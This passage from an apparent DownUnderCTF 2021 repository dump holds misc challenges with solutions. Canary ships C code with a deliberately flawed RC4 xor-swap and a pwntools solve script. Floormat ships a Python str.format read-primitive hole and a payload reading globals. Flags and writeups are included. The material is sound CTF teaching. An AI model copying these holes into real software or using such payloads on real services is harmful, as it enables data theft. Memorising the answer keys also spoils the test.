1 0 0 0 1 98138.dat\r\n1 27 170 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 170 -8 210 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -270 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 190 -8 190 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -270 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 210 -8 110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 230 -8 90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 250 -8 70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 270 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 270 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 270 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 270 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 270 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 270 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 270 -8 50 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 290 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 290 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 290 -8 10 1 0 0 0 1 0 0 0 1 98138.dat\r\n1 27 290 -8 30 1 0 0 0 1 0 0 0 1 98138.dat\r\n0 FILE brace.ldr\r\n0 Name: brace.ldr\r\n1 0 16.078 -14 154.825 0 -0.906 -0.423 1 0 0 0 -0.423 0.906 40379.dat\r\n1 0 13.09 -14 29.511 0 0.951 0.309 -1 0 0 0 -0.309 0.951 40378.dat\r\n1 0 10 -24 20 -0.951 0 -0.309 0 1 0 0.309 0 -0.951 6541.dat\r\n1 2 0 0 0 0 0 -1 0 1 0 1 0 0 3021.dat\r\n1 0 10 -24 -20 0.951 0 -0.309 0 1 0 0.309 0 0.951 6541.dat\r\n1 0 13.09 -14 -29.511 0 0.951 0.309 1 0 0 0 0.309 -0.951 40378.dat\r\n1 0 16.078 -14 -154.825 0 -0.906 -0.423 -1 0 0 0 0.423 -0.906 40379.dat\r\n1 0 10 -32 0 0 0 -1 0 1 0 1 0 0 3623.dat\r\n"
  },
  {
    "path": "misc/builder/challenge.yml",
    "content": "version: \"0.1\"\nid: builder\nname: Builder\ncategory: misc\ndescription: |\n  In order to build your skills you need to start from a solid foundation. And the best foundations are built from bricks.\n\n  Author: BearArms (Cybears)\n\ntags:\n  - beginner\n\nfiles:\n  - ./challenge/builder.mpd\n\nflags:\n  - DUCTF{CaD4L3G0!}\n"
  },
  {
    "path": "misc/builder/solve/writeup.md",
    "content": "# Walkthrough - Builder\n\nYou're presented with `builder.mpd`.\nWhatever `.mpd` is.\nInspecting the file you can see that it's readable text:\n\n```\n$ head builder.mpd\n0 FILE challenge.ldr\n0 Name: challenge.ldr\n1 0 -960 0 0 1 0 0 0 1 0 0 0 1 DUCTF_logo.ldr\n1 2 -320 0 0 1 0 0 0 1 0 0 0 1 3811.dat\n1 0 -620 -12 0 1 0 0 0 1 0 0 0 1 brace.ldr\n1 0 -552 -38 0 0 1 0 0 0 1 1 0 0 6184.dat\n1 2 -500 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat\n1 4 -536 -38 0 0 1 0 0 0 -1 -1 0 0 3023.dat\n1 0 -300 -24 -40 0 0 1 0 1 0 -1 0 0 48092.dat\n1 0 -260 -24 30 1 0 0 0 1 0 0 0 1 3009.dat\n```\n\nIt's clearly something that's designed for a computer to read.\nSearching for `mpd ldr dat` should lead you to [ldraw.org](https://www.ldraw.org), where you can read about the LDraw file format and system of tools - it's a whole ecosystem of applications, utilities and an extensive parts library so that you can build digital LEGO models on your computer.\n\nOk, so now you know what it is, you probably want to see what LEGO model you've been given.\nSo follow the \"Getting Started\" section of the website through to your OS of choice, to download the parts library and an editor.\n\nWhen you open the file, you're presented with ![builder.png](./builder.png), which looks _almost_ like a flag.\nThere's the DUCTF logo, and a couple of letters and numbers surrounded by braces, but it's clearly incomplete.\nLooking around the model, you see something interesting hidden underneath the baseplates.\n![clue.png](./clue.png)\n\nSo, everywhere you see one of the red 1x2 plates, you need to add that big curved brick.\nAnd you can see that the first one - the one that makes up the letter C - has been done for you.\n\nSo you go ahead and insert those bricks and you get something that looks much more sensible - except for that mess at the third character from the end.\nAll it takes is a change of perspective, and it all falls into place.\n![solved.png](./solved.png)\n\nThe flag is `DUCTF{CaD4L3G0!}`\n"
  },
  {
    "path": "misc/canary/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/bin-builder:ubuntu-18.04 AS build\nCOPY ./publish/canary.c /build/\nRUN gcc -o /build/pwn /build/canary.c\n\nFROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\nCOPY --from=build /build/pwn /home/ctf/chal/pwn\nCOPY nsjail.cfg /home/ctf/\nCOPY flag.txt /home/ctf/chal/\nEXPOSE 1337/tcp\n"
  },
  {
    "path": "misc/canary/README.md",
    "content": "# Canary\n\n**Author:** 247CTF.com\n\n**Category:** misc\n\n**Difficulty:** Moderate\n\n_Can you sneak the secret CTF code past the canary hidden in the challenge mine?_\n\n## Description\nThe challenge requires you to set a specific string in a buffer. If the string is set in the correct location, you receive the flag.\n\nHowever, a canary value is also set _before_ the string and if the canary value is not valid, you won’t receive the flag.\n\nIn order to write the string at the specific location, you first need to overwrite the canary - which means you need to know the canary's value in order to solve the challenge.\n\nThe canary is calculated on each request based on the RC4 algorithm (initialised with a random, unpredictable key).  To generate the canary - for each request, RC4 is called on 2 buffers of zero'd memory.\n\nThe RC4 algorithm has a bug - the swap function uses xor swap, however there is no check to verify whether the input pointers are equal.\n\nIf they are equal, the output will not result in a swap - but in the values being zero'd out.\n\nAfter _enough_ calls to RC4 with this bug, the first 16 bytes of the RC4 sbox will become zero - which means the canary will also be zero and is therefore predictable (`x ^ x == 0` for any `x`).\n\n## Writeup\nA solve script can be found in ./solve\n\n1. Send _enough_ requests to the service to zero out the RC4 sbox\n2. _Predict_ the canary (`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`)\n3. Send the canary and the 247DUCTF string _after_ the canary\n\n## Setup\n**Files to be provided:**\n\n* `canary`\n* `canary.c`\n\nThe following file(s) in the `publish/` directory must be executable:\n\n* `canary`\n"
  },
  {
    "path": "misc/canary/canary_socket.c",
    "content": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <unistd.h>\n#include <netinet/tcp.h>\n\n#define KEY_LENGTH 16\n#define USER_BUFFER 56\n#define N 256\nstatic unsigned char *canary;\n\nvoid flag(int sock){\n  char buf[1024];\n  FILE *f = fopen(\"flag.txt\", \"r\");\n  fgets(buf, 1024, f);\n  write(sock, buf, strlen(buf));\n}\n\nvoid swap(unsigned char *a, unsigned char *b) {\n  *a ^= *b;\n  *b ^= *a;\n  *a ^= *b;\n}\n\nvoid init_RC4_key(unsigned char *S, unsigned char *key){\n  int i = 0, j = 0;\n\n  for (i = 0; i < N; i++) {\n    S[i] = i;\n  }\n\n  for (i = 0; i < N; i++){\n    j = (j + S[i] + *(key + i % KEY_LENGTH)) % N;\n    swap(&S[i], &S[j]);\n  }\n}\n\nvoid RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned char *ciphertext){\n  int i = 0, j = 0, k = 0, n = 0;\n\n  for (k = 0; k < KEY_LENGTH; k++){\n    i = (i + 1) % N;\n    j = (j + S[i]) % N;\n    swap(&S[i], &S[j]);\n    n = S[(S[i] + S[j]) % N];\n    *(ciphertext + k) = *(plaintext + k) ^ n;\n  }\n}\n\nunsigned char* get_random(){\n  FILE *fptr = fopen(\"/dev/urandom\",\"r\");\n  unsigned char *random = malloc(KEY_LENGTH);\n  fread(random, sizeof(char), KEY_LENGTH, fptr);\n  fclose(fptr);\n  return random;\n}\n\nvoid update_canary(unsigned char *S, unsigned char* buffer){\n  unsigned char *plaintext = calloc(KEY_LENGTH, sizeof(unsigned char));\n  unsigned char *ciphertext = calloc(KEY_LENGTH, sizeof(unsigned char));\n\n  RC4_encrypt(S, plaintext, ciphertext);\n\n  memcpy(canary, ciphertext, KEY_LENGTH);\n  memcpy(&buffer[32], ciphertext, KEY_LENGTH);\n\n  free(plaintext);\n  free(ciphertext);\n  plaintext = NULL;\n  ciphertext = NULL;\n}\n\nint check_canary(unsigned char* buffer){\n  for (int i = 0; i < KEY_LENGTH; i++){\n    if (buffer[32 + i] != canary[i]){\n      return 0;\n    }\n  }\n  return 1;  \n}\n\nint check_flag(unsigned char* buffer){\n  return buffer[48] == '2' && buffer[49] == '4' \n    && buffer[50] == '7' && buffer[51] == 'D' \n    && buffer[52] == 'U' && buffer[53] == 'C' \n    && buffer[54] == 'T' && buffer[55] == 'F';\n}\n\nvoid user_read(int sock, unsigned char *S, unsigned char* buffer){\n  memset(buffer, 0, USER_BUFFER);\n  update_canary(S, buffer);\n  recv(sock, buffer, USER_BUFFER, 0);\n}\n\nvoid challenge_mine(int sock) {\n  canary = calloc(KEY_LENGTH, sizeof(unsigned char));\n  unsigned char *key = get_random();\n  unsigned char *buffer = calloc(USER_BUFFER, sizeof(unsigned char));\n  unsigned char S[N];\n\n  init_RC4_key(S, key);\n\n  char banner[] = \"Can you defeat the canary and pull the flag from the mine?\\n> \";\n  char canary1[] = \"   ___     ___     ___\\n\";\n  char canary2[] = \"  (o o)   (o o)   (o o)\\n\";\n  char canary3[] = \" (  V  ) (  V  ) (  V  )\\n\";\n  char canary4[] = \"/--m-m- /--m-m- /--m-m-\\n\";\n  char canary5[] = \"[chirp] No flag for you!\\n> \";\n\n  write(sock, banner, strlen(banner));\n  while (1) {\n    user_read(sock, S, buffer);\n    if (check_canary(buffer) && check_flag(buffer)){\n      flag(sock);\n      exit(0);\n    } else {\n      write(sock, canary1, strlen(canary1));\n      write(sock, canary2, strlen(canary2));\n      write(sock, canary3, strlen(canary3));\n      write(sock, canary4, strlen(canary4));\n      write(sock, canary5, strlen(canary5));\n    }\n  }\n  \n  free(buffer);\n  free(key);\n  free(canary);\n}\n\nint main(int argc, char *argv[]){\n  int sockfd, newsockfd, portno, pid;\n  socklen_t clilen;\n  struct sockaddr_in serv_addr, cli_addr;\n\n  sockfd = socket(AF_INET, SOCK_STREAM, 0);\n  bzero((char *)&serv_addr, sizeof(serv_addr));\n  portno = 1337;\n\n  serv_addr.sin_family = AF_INET;\n  serv_addr.sin_addr.s_addr = INADDR_ANY;\n  serv_addr.sin_port = htons(portno);\n\n  bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));\n  listen(sockfd, 100);\n  clilen = sizeof(cli_addr);\n\n  while (1){\n    newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen);\n    pid = fork();\n    if (pid == 0) {\n      close(sockfd);\n      challenge_mine(newsockfd);\n      close(newsockfd);\n      exit(0);\n    }\n    else {\n      close(newsockfd);\n    }\n  }\n}\n"
  },
  {
    "path": "misc/canary/challenge.yml",
    "content": "version: \"0.1\"\nid: canary\nname: Canary\ncategory: misc\ndescription: >\n  Can you sneak the secret CTF code past the canary hidden in the challenge mine?\n\n\n  Author: 247CTF.com\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - medium\n\nfiles:\n  - ./publish/canary\n  - ./publish/canary.c\n\nflags:\n  - DUCTF{chirp_charp_chorp_churp}\n"
  },
  {
    "path": "misc/canary/flag.txt",
    "content": "DUCTF{chirp_charp_chorp_churp}\n"
  },
  {
    "path": "misc/canary/nsjail.cfg",
    "content": "name: \"challenge\"\ndescription: \"Default nsjail configuration for pwnable-style CTF task.\"\n\nmode: LISTEN\nuidmap {inside_id: \"1000\"}\ngidmap {inside_id: \"1000\"}\n\n# jail config\ncwd: \"/chal\"\nhostname: \"challenge\"\n\n# network config\nbindhost: \"0.0.0.0\"\nmax_conns_per_ip: 10\nport: 1337\n\n# limits\nmount_proc: false\ntime_limit: 60\ncgroup_mem_max: 16777216 \ncgroup_pids_max: 4\ncgroup_cpu_ms_per_sec: 25\n\n\nmount: [\n  {\n    src: \"/home/ctf/chal\"\n    dst: \"/chal\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/bin\",\n    dst: \"/bin\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib\",\n    dst: \"/lib\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/lib64\",\n    dst: \"/lib64\",\n    is_bind: true,\n    rw: false\n  },\n  {\n    src: \"/dev/urandom\",\n    dst: \"/dev/urandom\",\n    is_bind: true,\n    rw: false\n  }\n]\n\nexec_bin {\n  path: \"/chal/pwn\"\n}\n"
  },
  {
    "path": "misc/canary/publish/canary.c",
    "content": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n#define KEY_LENGTH 16\n#define USER_BUFFER 56\n#define N 256\nstatic unsigned char *canary;\n\nvoid flag(){\n  char buf[1024];\n  FILE *f = fopen(\"flag.txt\", \"r\");\n  fgets(buf, 1024, f);\n  printf(\"%s\\n\", buf);\n}\n\nvoid swap(unsigned char *a, unsigned char *b) {\n  *a ^= *b;\n  *b ^= *a;\n  *a ^= *b;\n}\n\nvoid init_RC4_key(unsigned char *S, unsigned char *key){\n  int i = 0, j = 0;\n\n  for (i = 0; i < N; i++) {\n    S[i] = i;\n  }\n\n  for (i = 0; i < N; i++){\n    j = (j + S[i] + *(key + i % KEY_LENGTH)) % N;\n    swap(&S[i], &S[j]);\n  }\n}\n\nvoid RC4_encrypt(unsigned char *S, unsigned char *plaintext, unsigned char *ciphertext){\n  int i = 0, j = 0, k = 0, n = 0;\n\n  for (k = 0; k < KEY_LENGTH; k++){\n    i = (i + 1) % N;\n    j = (j + S[i]) % N;\n    swap(&S[i], &S[j]);\n    n = S[(S[i] + S[j]) % N];\n    *(ciphertext + k) = *(plaintext + k) ^ n;\n  }\n}\n\nunsigned char* get_random(){\n  FILE *fptr = fopen(\"/dev/urandom\", \"r\");\n  unsigned char *random = malloc(KEY_LENGTH);\n  fread(random, sizeof(char), KEY_LENGTH, fptr);\n  fclose(fptr);\n  return random;\n}\n\nvoid update_canary(unsigned char *S, unsigned char* buffer){\n  unsigned char *plaintext = calloc(KEY_LENGTH, sizeof(unsigned char));\n  unsigned char *ciphertext = calloc(KEY_LENGTH, sizeof(unsigned char));\n\n  RC4_encrypt(S, plaintext, ciphertext);\n\n  memcpy(canary, ciphertext, KEY_LENGTH);\n  memcpy(&buffer[32], ciphertext, KEY_LENGTH);\n\n  free(plaintext);\n  free(ciphertext);\n  plaintext = NULL;\n  ciphertext = NULL;\n}\n\nint check_canary(unsigned char* buffer){\n  for (int i = 0; i < KEY_LENGTH; i++){\n    if (buffer[32 + i] != canary[i]){\n      return 0;\n    }\n  }\n  return 1;  \n}\n\nint check_flag(unsigned char* buffer){\n  return buffer[48] == '2' && buffer[49] == '4' \n    && buffer[50] == '7' && buffer[51] == 'D' \n    && buffer[52] == 'U' && buffer[53] == 'C' \n    && buffer[54] == 'T' && buffer[55] == 'F';\n}\n\nvoid user_read(unsigned char *S, unsigned char* buffer){\n  memset(buffer, 0, USER_BUFFER);\n  update_canary(S, buffer);\n  read(0, buffer, USER_BUFFER);\n}\n\nint main(int argc, char *argv[]) {\n  setbuf(stdout, 0);\n  canary = calloc(KEY_LENGTH, sizeof(unsigned char));\n  unsigned char *key = get_random();\n  unsigned char *buffer = calloc(USER_BUFFER, sizeof(unsigned char));\n  unsigned char S[N];\n\n  init_RC4_key(S, key);\n\n  char banner[] = \"Can you defeat the challenge canary and pull the flag from the mine?\\n> \";\n  char canary1[] = \"   ___     ___     ___\\n\";\n  char canary2[] = \"  (o o)   (o o)   (o o)\\n\";\n  char canary3[] = \" (  V  ) (  V  ) (  V  )\\n\";\n  char canary4[] = \"/--m-m- /--m-m- /--m-m-\\n\";\n  char canary5[] = \"[chirp] No flag for you!\\n> \";\n\n  printf(\"%s\", banner);\n  while (1) {\n    user_read(S, buffer);\n    if (check_canary(buffer) && check_flag(buffer)){\n      flag();\n      exit(0);\n    } else {\n      printf(\"%s\", canary1);\n      printf(\"%s\", canary2);\n      printf(\"%s\", canary3);\n      printf(\"%s\", canary4);\n      printf(\"%s\", canary5);\n    }\n  }\n  \n  free(buffer);\n  free(key);\n  free(canary);\n}\n"
  },
  {
    "path": "misc/canary/solve/canary_solve.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport os\nfrom time import sleep\n\n#r = process(\"./canary\")\nr = remote(os.environ.get(\"HOST\", \"127.0.0.1\"), 1337)\nr.recvuntil(\"mine?\")\n\nfor i in range(1250):\n  r.sendline(\"A\")\n  print(r.recvuntil(\"you!\").decode('ascii', 'ignore'))\n\nr.send(b\"\\x00\"*48 + b\"247DUCTF\")\nr.clean_and_log()"
  },
  {
    "path": "misc/discord/README.md",
    "content": "# Discord\n**Category:** misc\n\n**Difficulty:** Beginner\n\n**Author:** Crem\n\nHow about you visit our help page? You know what they say when you need 'help' discord is there for support :)"
  },
  {
    "path": "misc/discord/WRITEUP.md",
    "content": "# Discord\n\nJust a small challenge to teach our competitors how to use our new ticketing/support system on discord :)\n\nSimply follow our [https://play.duc.tf/help](https://play.duc.tf/help) guide which will lead to the DUCTF 2021 `#request-support` channel description :)\n\nFlag: DUCTF{if_you_are_having_challenges_issues_come_here_pls}"
  },
  {
    "path": "misc/discord/challenge.yml",
    "content": "version: \"0.1\"\nid: discord\nname: Discord\ncategory: misc\ndescription: |\n  How about you visit our help page? You know what they say when you need 'help' discord is there for support :)\n\n  Author: Crem\n\ntags:\n  - socials\n\nflags:\n  - DUCTF{if_you_are_having_challenge_issues_come_here_pls}\n"
  },
  {
    "path": "misc/floormat/Dockerfile",
    "content": "FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04\n\nWORKDIR /home/ctf\nCOPY ./src/flag.txt chal/\nCOPY ./src/floormat.py chal/pwn\nRUN chmod +x /home/ctf/chal/pwn\n"
  },
  {
    "path": "misc/floormat/README.md",
    "content": "# Floormat\n\n**Category:** Misc\n**Difficulty:** Easy\n**Author:** todo#7331\n\n_I've opened a new store that provides free furnishings and floormats. If you know the secret format we might also be able to give you flags..._\n\n# Description\nPython is vulnerable to format strings ({format_identifier}'s in strings). If these are provided with a class (or other \"class like\" object) it is possible to gain a read primitive in much the same was as template injection. Here we use it to read the `FLAG` variable in the global scope.\n\n## Writeup\n\n_A solve script can be found in ./solve_\n\n1. Trigger a custom floormat design by specifying something other than the provided options\n2. Provide a format string that reads a flag from the global scope `{f.__class__.__init__.__globals__[FLAG]}`\n3. Trigger the format string by specifying a arbitrary (expected) input\n4. Get the flag\n\n## Running\n\nPlease provide the file under publish/ to the player.\n\nThe challenge can be run by building and running the docker file, it listens on port 1337 by default.\n"
  },
  {
    "path": "misc/floormat/challenge.yml",
    "content": "version: \"0.1\"\nid: floormat\nname: Floormat\ncategory: misc\ndescription: >\n  I've opened a new store that provides free furnishings and floormats. If you know the secret format we might also be able to give you flags...\n\n\n  Author: todo#7331\n\nconnection_info: nc ${host} ${port}\n\ntags:\n  - easy\n\nfiles:\n  - ./publish/floormat.py\n\nflags:\n  - DUCTF{fenomenal_flags_from_funky_formats_ffffff}\n"
  },
  {
    "path": "misc/floormat/publish/floormat.py",
    "content": "import abc\nimport string\nimport random\n\nFLAG = 'REDACTED'\n\nclass Design(abc.ABC):\n    def __init__(self, design=[]):\n        self._design = design \n        self._i = -1\n    \n    def items(self):\n        return \"\".join(self._design)\n    \n    def get_next(self):\n        self._i = (self._i + 1) % len(self._design)\n        return self._design[self._i]\n\n    \n    def __str__(self):\n        return self.get_next()\n\nclass Rotate(Design):\n    def __init__(self):\n        super().__init__(design=[\"-\", \"/\", \"|\", \"\\\\\"])\n\nclass Circles(Design):\n    def __init__(self):\n        super().__init__(design=[\".\", \"o\", \"0\", \"O\", \"0\", \"o\"])\n\nclass Random(Design):\n    def __init__(self):\n        super().__init__(design=string.ascii_lowercase)\n    \n    def get_next(self):\n        return random.choice(self._design)\n\ndesigns = {\n    'Flutter': Rotate(),\n    'Fragment':  Circles(),\n    'Festival': Random()\n}\n\ntemplates = {\n    'Fundamental': '\\n'.join([\n        \"+\" + \"-\"*20 + \"+\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"|\" + \"{f}\"*20 + \"|\",\n        \"+\" + \"-\"*20 + \"+\"\n    ]),\n    'Flabbergasting': '\\n'.join([\n        \"+-----+-----+-----+-----+\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"+-----+-----+-----+-----+\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\"+\"{f}\"*5+\"|\",\n        \"+-----+-----+-----+-----+\"\n    ])\n}\n\ndef banner():\n    print(\"Welcome to the Fabulous Floormat Factory (FFF)!\")\n    print(\"In our fabled facility we fabricate fantasticly fashionable floormats for free!\")\n    print(\"Furthermore, for the foreseeable future FFF will fork-out flags to fastidious followers.\")\n    print('')\n\ndef get_happy_f():\n        return random.choice([\"Fun\", \"Foxy\", \"Fetching\"])\n\ndef get_sad_f():\n    return random.choice([\"Fail\", \"Foolish\", \"Foul\"])\n\ndef custom_template():\n    print('Fascinating! Forgoing the featured furniture and finding the flexible function.')\n    print('Fill in your floormat format. {f} flags fancy fabric, F finalizes')\n    print('For example, Fundamental:')\n    print(templates['Fundamental'])\n    print('F')\n    print('')\n\n    print('Format:')\n    buffer = \"\"\n    while (l := input()) != 'F':\n        buffer += l\n\n    return buffer\n\n\ndef get_template():\n    print(\"FFF features a few foundational floormat forms:\")\n    for nm, floormat in templates.items():\n        print('[{}]:'.format(nm))\n        print(floormat.format(f=' '))\n        print('')\n    \n    selection = input(\"Fill in your favorite: \")\n    try:\n        template = templates[selection.title()]\n    except KeyError:\n        print('')\n        template = custom_template()\n    \n    print(get_happy_f() + \"!\")\n    print('')\n\n    return template\n\ndef get_pattern():\n    print('Finally, find the fairest felt furnishings!')\n    for nm, pattern in designs.items():\n        print('[{}]:'.format(nm))\n        print(pattern.items())\n        print('')\n    \n    while True:\n        selection = input('Favorite: ')\n        try:\n            return designs[selection.title()]\n        except KeyError:\n            print(get_sad_f() + '!')\n            pass\n\nif __name__ == '__main__':\n    import sys\n    sys.tracebacklimit = 0\n    sys.excepthook = lambda t,e,b: print('\\n\\n' + ('Farewell!' if t is KeyboardInterrupt or t is EOFError else 'F***!'))\n\n    banner()\n\n    template = get_template()\n    pattern = get_pattern()\n\n    print('')\n    print('Formulating...')\n    floormat = template.format(f=pattern)\n\n    print('Finished! Felicitations on your Floormat!')\n    print('')\n    print(floormat)\n    print('')\n\n"
  },
  {
    "path": "misc/floormat/solve/solve.py",
    "content": "#!/usr/bin/python3\nimport socket\nimport os\n\ndef recv_until(sock, until):\n    buf = b\"\"\n    c = sock.recv(1)\n    while c:\n        buf += c\n        if buf.endswith(until): break\n        c = sock.recv(1)\n    return buf\n\nremote = (os.environ.get(\"HOST\", \"127.0.0.1\"), 1337)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(2)\nsock.connect(remote)\n\nprint(recv_until(sock, b\"favorite: \").decode())\nsock.send(b'x\\n')\n\nprint(recv_until(sock, b\"Format:\\n\").decode())\nsock.send(b'{f.__class__.__init__.__globals__[FLAG]}\\nF\\n')\n\nprint(recv_until(sock, b\"Favorite: \").decode())\nsock.send(b'Flutter\\n')\n\nprint(sock.recv(1024).decode())\n"
  },
  {
    "path": "misc/floormat/src/flag.txt",
    "content": "DUCTF{fenomenal_flags_from_funky_formats_ffffff}\n"
  },
  {
    "path": "misc/floormat/src/floormat.py",
